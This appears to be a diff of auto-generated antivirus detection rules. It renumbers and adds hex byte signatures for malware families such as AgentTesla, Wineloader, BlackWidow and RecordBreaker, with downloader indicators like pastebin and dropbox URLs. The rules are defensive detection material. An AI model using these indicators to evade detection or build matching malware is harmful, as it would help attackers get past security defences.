6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 91 00 00 0d 00 0d 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 45 4e 21 4d 54 42 00 0a 00 31 02 25 16 } //27022 + $a_0d_6 = {14 14 17 8d 90 01 04 25 16 17 9c 25 13 04 28 90 01 04 11 04 16 91 2d 02 2b 0a 09 16 9a 28 90 01 04 10 01 74 90 } //-24061 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*19813+(#a_4d_2 & 1)*28257+(#a_04_3 & 1)*-28632+(#a_01_4 & 1)*28420+(#a_04_5 & 1)*-28632+(#a_01_6 & 1)*29697) >=6 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*19813+(#a_4d_2 & 1)*28257+(#a_04_3 & 1)*-28632+(#a_01_4 & 1)*28420+(#a_90_5 & 1)*27022+(#a_0d_6 & 1)*-24061) >=6 } -rule _InfrastructureShared_9872{ +rule _InfrastructureShared_10505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 45 58 21 4d 54 42 00 0a 00 48 02 11 09 18 06 72 90 01 03 70 6f 90 01 04 a2 11 09 19 17 8c 90 01 04 a2 11 09 13 07 11 06 13 08 28 90 01 04 11 04 6f 90 01 04 11 08 6f 90 01 } //18467 - $a_01_1 = {03 70 20 00 01 00 00 14 14 11 07 74 90 01 04 6f 90 01 04 26 90 00 02 00 11 80 01 53 68 75 74 44 6f 77 6e 2e 66 72 6d 63 6c 61 73 73 00 00 78 91 00 00 0d 00 0d 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 45 4e 21 4d 54 42 00 0a 00 31 02 25 16 03 a2 25 0d 14 14 17 8d 90 01 04 25 16 17 9c 25 13 04 28 90 01 04 11 04 16 91 2d 02 2b 0a 09 16 9a 28 90 01 04 10 01 74 90 01 04 } //29188 + $a_01_1 = {03 70 20 00 01 00 00 14 14 11 07 74 90 01 04 6f 90 01 04 26 90 00 02 00 11 80 01 53 68 75 74 44 6f 77 6e 2e 66 72 6d 63 6c 61 73 73 00 00 78 91 00 00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 5a 44 59 21 4d 54 42 00 0a 00 3e 03 0a 06 18 6f 90 01 01 00 00 0a 06 6f 90 01 01 00 00 0a 0b 73 90 01 01 00 00 0a 0c 08 07 17 73 90 01 01 00 00 0a 0d 09 02 16 02 8e 69 6f 90 01 01 00 00 0a 09 } //29188 condition: ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*29188) >=12 } -rule _InfrastructureShared_9873{ +rule _InfrastructureShared_10506{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 5a 44 59 21 4d 54 42 00 0a 00 3e 03 0a 06 18 6f 90 01 01 00 00 0a 06 6f 90 01 01 00 00 0a 0b 73 90 01 01 00 00 0a 0c 08 07 17 73 90 01 01 00 00 0a 0d 09 } //21539 + $a_8e_1 = {6f 90 } //5634 + condition: + ((#a_4c_0 & 1)*21539+(#a_8e_1 & 1)*5634) >=12 + +} +rule _InfrastructureShared_10507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -106680,7 +113652,7 @@ rule _InfrastructureShared_9873{ ((#a_54_0 & 1)*18467+(#a_01_2 & 1)*3840+(#a_6f_3 & 1)*385) >=13 } -rule _InfrastructureShared_9874{ +rule _InfrastructureShared_10508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -106694,7 +113666,7 @@ rule _InfrastructureShared_9874{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*28524+(#a_33_2 & 1)*12853+(#a_70_3 & 1)*21505+(#a_32_4 & 1)*28265) >=14 } -rule _InfrastructureShared_9875{ +rule _InfrastructureShared_10509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -106709,7 +113681,7 @@ rule _InfrastructureShared_9875{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*263+(#a_39_2 & 1)*19777+(#a_01_3 & 1)*26727+(#a_69_4 & 1)*6+(#a_01_5 & 1)*-29440) >=15 } -rule _InfrastructureShared_9876{ +rule _InfrastructureShared_10510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -106724,7 +113696,7 @@ rule _InfrastructureShared_9876{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*25928+(#a_78_3 & 1)*20596+(#a_6e_4 & 1)*27247+(#a_c6_5 & 1)*-253+(#a_41_6 & 1)*28532) >=16 } -rule _InfrastructureShared_9877{ +rule _InfrastructureShared_10511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -106741,7 +113713,7 @@ rule _InfrastructureShared_9877{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*17664+(#a_41_2 & 1)*27756+(#a_85_3 & 1)*29951+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720+(#a_00_7 & 1)*30720) >=17 } -rule _InfrastructureShared_9878{ +rule _InfrastructureShared_10512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -106752,7 +113724,7 @@ rule _InfrastructureShared_9878{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*769) >=20 } -rule _InfrastructureShared_9879{ +rule _InfrastructureShared_10513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 03 00 21 " @@ -106764,7 +113736,7 @@ rule _InfrastructureShared_9879{ ((#a_6c_0 & 1)*16675+(#a_00_1 & 1)*25458+(#a_74_2 & 1)*16704) >=20 } -rule _InfrastructureShared_9880{ +rule _InfrastructureShared_10514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 03 00 21 " @@ -106776,7 +113748,7 @@ rule _InfrastructureShared_9880{ ((#a_4c_0 & 1)*21539+(#a_0b_1 & 1)*0+(#a_28_2 & 1)*1802) >=20 } -rule _InfrastructureShared_9881{ +rule _InfrastructureShared_10515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 05 00 21 " @@ -106789,7 +113761,7 @@ rule _InfrastructureShared_9881{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*26465+(#a_49_3 & 1)*2560+(#a_6c_4 & 1)*24948) >=21 } -rule _InfrastructureShared_9882{ +rule _InfrastructureShared_10516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 05 00 21 " @@ -106802,7 +113774,7 @@ rule _InfrastructureShared_9882{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*3328+(#a_52_2 & 1)*29281+(#a_02_4 & 1)*0) >=50 } -rule _InfrastructureShared_9883{ +rule _InfrastructureShared_10517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -106812,7 +113784,7 @@ rule _InfrastructureShared_9883{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9884{ +rule _InfrastructureShared_10518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -106822,7 +113794,7 @@ rule _InfrastructureShared_9884{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9885{ +rule _InfrastructureShared_10519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -106832,7 +113804,7 @@ rule _InfrastructureShared_9885{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9886{ +rule _InfrastructureShared_10520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -106842,7 +113814,17 @@ rule _InfrastructureShared_9886{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9887{ +rule _InfrastructureShared_10521{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 57 69 6e 65 6c 6f 61 64 65 72 2e 43 21 64 68 61 00 01 00 5d 03 c6 44 24 27 00 0f b6 44 24 27 48 83 f8 02 73 4c 48 8b 4c 24 28 48 83 c1 01 0f b6 44 24 27 83 c0 01 48 98 48 0f } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_10522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -106852,7 +113834,7 @@ rule _InfrastructureShared_9887{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9888{ +rule _InfrastructureShared_10523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -106862,7 +113844,7 @@ rule _InfrastructureShared_9888{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9889{ +rule _InfrastructureShared_10524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -106872,7 +113854,7 @@ rule _InfrastructureShared_9889{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9890{ +rule _InfrastructureShared_10525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -106882,7 +113864,7 @@ rule _InfrastructureShared_9890{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9891{ +rule _InfrastructureShared_10526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -106892,7 +113874,7 @@ rule _InfrastructureShared_9891{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9892{ +rule _InfrastructureShared_10527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -106902,7 +113884,7 @@ rule _InfrastructureShared_9892{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9893{ +rule _InfrastructureShared_10528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -106912,7 +113894,7 @@ rule _InfrastructureShared_9893{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9894{ +rule _InfrastructureShared_10529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -106922,7 +113904,7 @@ rule _InfrastructureShared_9894{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9895{ +rule _InfrastructureShared_10530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -106932,7 +113914,7 @@ rule _InfrastructureShared_9895{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9896{ +rule _InfrastructureShared_10531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -106942,7 +113924,7 @@ rule _InfrastructureShared_9896{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9897{ +rule _InfrastructureShared_10532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -106952,7 +113934,7 @@ rule _InfrastructureShared_9897{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9898{ +rule _InfrastructureShared_10533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -106962,7 +113944,7 @@ rule _InfrastructureShared_9898{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_9899{ +rule _InfrastructureShared_10534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -106972,7 +113954,7 @@ rule _InfrastructureShared_9899{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_9900{ +rule _InfrastructureShared_10535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -106982,7 +113964,17 @@ rule _InfrastructureShared_9900{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_9901{ +rule _InfrastructureShared_10536{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 6c 61 63 6b 57 69 64 6f 77 2e 53 56 43 21 4d 54 42 00 01 00 60 03 42 8b 04 13 48 8d 54 24 90 01 01 89 44 24 90 01 01 48 8d 4c 24 90 01 01 41 8b 02 89 44 24 90 01 01 e8 90 01 04 8b 54 24 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_10537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -106992,7 +113984,7 @@ rule _InfrastructureShared_9901{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_9902{ +rule _InfrastructureShared_10538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -107003,7 +113995,7 @@ rule _InfrastructureShared_9902{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*566) >=1 } -rule _InfrastructureShared_9903{ +rule _InfrastructureShared_10539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -107014,7 +114006,7 @@ rule _InfrastructureShared_9903{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*2133) >=1 } -rule _InfrastructureShared_9904{ +rule _InfrastructureShared_10540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -107025,7 +114017,7 @@ rule _InfrastructureShared_9904{ ((#a_46_0 & 1)*16675+(#a_35_1 & 1)*25910) >=1 } -rule _InfrastructureShared_9905{ +rule _InfrastructureShared_10541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -107036,7 +114028,7 @@ rule _InfrastructureShared_9905{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*110) >=1 } -rule _InfrastructureShared_9906{ +rule _InfrastructureShared_10542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -107047,7 +114039,7 @@ rule _InfrastructureShared_9906{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*26414) >=1 } -rule _InfrastructureShared_9907{ +rule _InfrastructureShared_10543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -107057,7 +114049,7 @@ rule _InfrastructureShared_9907{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9908{ +rule _InfrastructureShared_10544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -107067,7 +114059,7 @@ rule _InfrastructureShared_9908{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_9909{ +rule _InfrastructureShared_10545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -107079,7 +114071,7 @@ rule _InfrastructureShared_9909{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*17740+(#a_54_2 & 1)*8513) >=1 } -rule _InfrastructureShared_9910{ +rule _InfrastructureShared_10546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -107091,7 +114083,7 @@ rule _InfrastructureShared_9910{ ((#a_46_0 & 1)*21283+(#a_15_1 & 1)*6257+(#a_70_2 & 1)*25665) >=1 } -rule _InfrastructureShared_9911{ +rule _InfrastructureShared_10547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -107104,7 +114096,7 @@ rule _InfrastructureShared_9911{ ((#a_54_0 & 1)*18467+(#a_bb_1 & 1)*26627+(#a_41_2 & 1)*30062+(#a_65_3 & 1)*24934) >=1 } -rule _InfrastructureShared_9912{ +rule _InfrastructureShared_10548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -107112,25 +114104,36 @@ rule _InfrastructureShared_9912{ $a_54_0 = {3a 49 6e 74 65 6e 74 54 6f 45 6e 75 6d 41 64 61 70 74 65 72 73 00 01 00 15 80 01 50 61 63 6b 65 74 47 65 74 41 64 61 70 74 65 72 4e 61 6d 65 73 01 00 10 80 01 70 63 61 70 5f 66 69 6e 64 61 6c 6c 64 65 76 73 01 00 0f 80 01 47 65 74 41 64 61 70 74 65 } //18467 $a_6e_1 = {6f 01 00 11 80 01 47 65 74 50 65 72 41 64 61 70 74 65 72 49 6e 66 6f 01 00 10 80 01 47 65 74 49 6e 74 65 72 66 61 63 65 49 6e 66 6f 00 00 78 92 00 00 01 00 01 00 06 00 21 23 48 53 54 52 3a 50 6f 73 73 69 62 6c 65 44 6f } //29554 $a_6f_2 = {64 65 72 2e 41 00 01 00 0c 80 01 70 61 73 74 65 62 69 6e 2e 63 6f 6d 01 00 0b 80 01 64 72 6f 70 62 6f 78 2e 63 6f 6d 01 00 08 80 01 6e 6f 69 70 2e 63 6f 6d 01 00 09 80 01 61 48 52 30 63 44 6f 76 4c 01 00 13 80 01 61 41 42 30 41 48 51 41 63 41 41 36 41 43 38 41 4c 77 42 01 00 15 80 01 34 73 68 61 72 65 64 2e 63 6f 6d 2f 64 } //28279 - $a_6c_3 = {61 64 2f 00 00 78 92 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 47 72 69 66 66 6f 6e 2e 42 21 6c 64 72 00 01 00 34 03 28 00 4d 00 61 00 74 00 68 00 90 01 01 00 72 00 61 00 6e 00 64 00 6f 00 6d 00 28 00 29 00 2a 00 39 00 30 00 30 00 30 00 29 00 20 00 2b 00 20 00 31 00 90 00 01 00 2c 03 30 } //30575 + $a_6c_3 = {61 64 2f 00 00 78 92 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 63 6f 72 64 42 72 65 61 6b 65 72 2e 43 42 54 21 4d 54 42 00 02 00 5d 03 83 c1 01 89 8d 90 01 04 8b 95 90 01 04 3b 95 90 01 04 73 90 01 01 8b 85 90 01 04 03 85 90 01 04 8b 8d 90 01 04 03 8d 90 01 04 8a 11 88 10 51 51 83 c4 } //30575 + $a_90_4 = {04 81 e9 90 01 04 81 f1 90 01 04 81 c1 90 01 04 59 51 81 c9 90 01 04 59 53 51 83 c4 04 81 eb 90 01 04 5b eb 90 00 00 00 78 92 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 47 72 69 66 66 6f 6e 2e 42 21 6c 64 72 00 01 00 34 03 28 00 4d 00 61 00 74 00 68 00 90 01 01 00 72 00 61 00 6e 00 64 00 6f 00 6d 00 28 00 29 00 2a 00 39 00 30 00 30 00 30 00 29 00 20 00 2b 00 20 00 31 00 90 00 01 00 2c 03 30 00 30 00 30 00 29 00 2e 00 74 00 6f 00 90 01 01 00 74 00 72 00 69 00 6e 00 67 00 28 00 29 00 2e 00 73 00 70 00 6c 00 69 00 90 00 00 00 78 92 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f } //-32508 condition: - ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29554+(#a_6f_2 & 1)*28279+(#a_6c_3 & 1)*30575) >=1 + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29554+(#a_6f_2 & 1)*28279+(#a_6c_3 & 1)*30575+(#a_90_4 & 1)*-32508) >=1 } -rule _InfrastructureShared_9913{ +rule _InfrastructureShared_10549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " strings : $a_54_0 = {3a 50 6f 73 73 69 62 6c 65 44 6f 77 6e 6c 6f 61 64 65 72 2e 41 00 01 00 0c 80 01 70 61 73 74 65 62 69 6e 2e 63 6f 6d 01 00 0b 80 01 64 72 6f 70 62 6f 78 2e 63 6f 6d 01 00 08 80 01 6e 6f 69 70 2e 63 6f 6d 01 00 09 80 01 61 48 52 30 63 44 6f 76 4c 01 } //18467 - $a_01_1 = {61 41 42 30 41 48 51 41 63 41 41 36 41 43 38 41 4c 77 42 01 00 15 80 01 34 73 68 61 72 65 64 2e 63 6f 6d 2f 64 6f 77 6e 6c 6f 61 64 2f 00 00 78 92 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 47 72 69 66 66 6f 6e 2e 42 21 6c 64 72 00 01 00 34 03 28 00 4d 00 61 00 74 00 68 00 90 01 01 00 72 00 61 00 6e 00 64 00 6f 00 6d 00 28 00 29 00 2a 00 39 } //4864 - $a_00_3 = {20 00 2b 00 20 00 31 00 90 00 01 00 2c 03 30 00 30 00 30 00 29 00 2e 00 74 00 6f 00 90 01 01 00 74 00 72 00 69 00 6e 00 67 } //48 - $a_00_5 = {70 00 6c 00 69 00 90 00 00 00 78 92 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 49 6e 6a 65 63 74 6f 72 2e 53 30 36 00 01 00 32 03 04 00 00 56 c6 84 90 01 02 04 00 00 44 c6 84 90 01 02 04 00 00 45 c6 84 90 01 02 04 00 00 53 c6 84 90 01 02 04 00 00 54 88 9c 90 01 02 04 00 00 90 00 01 00 2a } //46 + $a_01_1 = {61 41 42 30 41 48 51 41 63 41 41 36 41 43 38 41 4c 77 42 01 00 15 80 01 34 73 68 61 72 65 64 2e 63 6f 6d 2f 64 6f 77 6e 6c 6f 61 64 2f 00 00 78 92 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 63 6f 72 64 42 72 65 61 6b 65 72 2e 43 42 54 21 4d 54 42 00 02 00 5d 03 83 c1 01 89 8d 90 01 04 8b 95 90 01 04 3b 95 90 01 04 73 90 01 01 8b 85 90 01 } //4864 + $a_90_2 = {04 8b 8d 90 01 04 03 8d 90 01 04 8a 11 88 10 51 51 83 c4 04 81 e1 90 01 04 81 e9 90 01 04 81 f1 90 01 04 81 c1 90 01 04 59 51 81 c9 90 01 04 59 53 51 83 c4 04 81 eb 90 01 04 5b eb 90 00 00 00 78 92 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 47 72 69 66 66 6f 6e 2e 42 21 6c 64 72 00 01 00 34 03 28 00 4d 00 61 00 74 00 68 00 90 01 01 00 72 00 61 00 6e 00 64 } //772 + $a_00_4 = {2a 00 39 00 30 00 30 00 30 00 29 00 20 00 2b 00 20 00 31 00 90 00 01 00 2c 03 30 00 30 00 30 00 29 00 2e 00 74 00 6f 00 90 } //40 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4864+(#a_00_3 & 1)*48+(#a_00_5 & 1)*46) >=1 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4864+(#a_90_2 & 1)*772+(#a_00_4 & 1)*40) >=1 } -rule _InfrastructureShared_9914{ +rule _InfrastructureShared_10550{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 63 6f 72 64 42 72 65 61 6b 65 72 2e 43 42 54 21 4d 54 42 00 02 00 5d 03 83 c1 01 89 8d 90 01 04 8b 95 90 01 04 3b 95 90 01 04 73 90 01 01 8b 85 90 01 04 03 85 90 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_10551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -107141,7 +114144,7 @@ rule _InfrastructureShared_9914{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*43) >=2 } -rule _InfrastructureShared_9915{ +rule _InfrastructureShared_10552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -107152,7 +114155,7 @@ rule _InfrastructureShared_9915{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-25464) >=2 } -rule _InfrastructureShared_9916{ +rule _InfrastructureShared_10553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -107163,7 +114166,7 @@ rule _InfrastructureShared_9916{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28440) >=2 } -rule _InfrastructureShared_9917{ +rule _InfrastructureShared_10554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -107174,7 +114177,7 @@ rule _InfrastructureShared_9917{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*15396) >=2 } -rule _InfrastructureShared_9918{ +rule _InfrastructureShared_10555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -107185,7 +114188,7 @@ rule _InfrastructureShared_9918{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*822) >=2 } -rule _InfrastructureShared_9919{ +rule _InfrastructureShared_10556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -107196,7 +114199,7 @@ rule _InfrastructureShared_9919{ ((#a_54_0 & 1)*18467+(#a_40_1 & 1)*400) >=2 } -rule _InfrastructureShared_9920{ +rule _InfrastructureShared_10557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -107207,7 +114210,7 @@ rule _InfrastructureShared_9920{ ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*4874) >=2 } -rule _InfrastructureShared_9921{ +rule _InfrastructureShared_10558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -107218,7 +114221,7 @@ rule _InfrastructureShared_9921{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*13104) >=2 } -rule _InfrastructureShared_9922{ +rule _InfrastructureShared_10559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -107229,7 +114232,7 @@ rule _InfrastructureShared_9922{ ((#a_46_0 & 1)*21283+(#a_03_1 & 1)*1) >=2 } -rule _InfrastructureShared_9923{ +rule _InfrastructureShared_10560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -107241,7 +114244,7 @@ rule _InfrastructureShared_9923{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11568+(#a_00_2 & 1)*2) >=2 } -rule _InfrastructureShared_9924{ +rule _InfrastructureShared_10561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -107252,7 +114255,7 @@ rule _InfrastructureShared_9924{ ((#a_5f_0 & 1)*16931+(#a_00_2 & 1)*114) >=2 } -rule _InfrastructureShared_9925{ +rule _InfrastructureShared_10562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -107264,7 +114267,7 @@ rule _InfrastructureShared_9925{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*11354+(#a_88_2 & 1)*3396) >=2 } -rule _InfrastructureShared_9926{ +rule _InfrastructureShared_10563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -107275,7 +114278,7 @@ rule _InfrastructureShared_9926{ ((#a_54_0 & 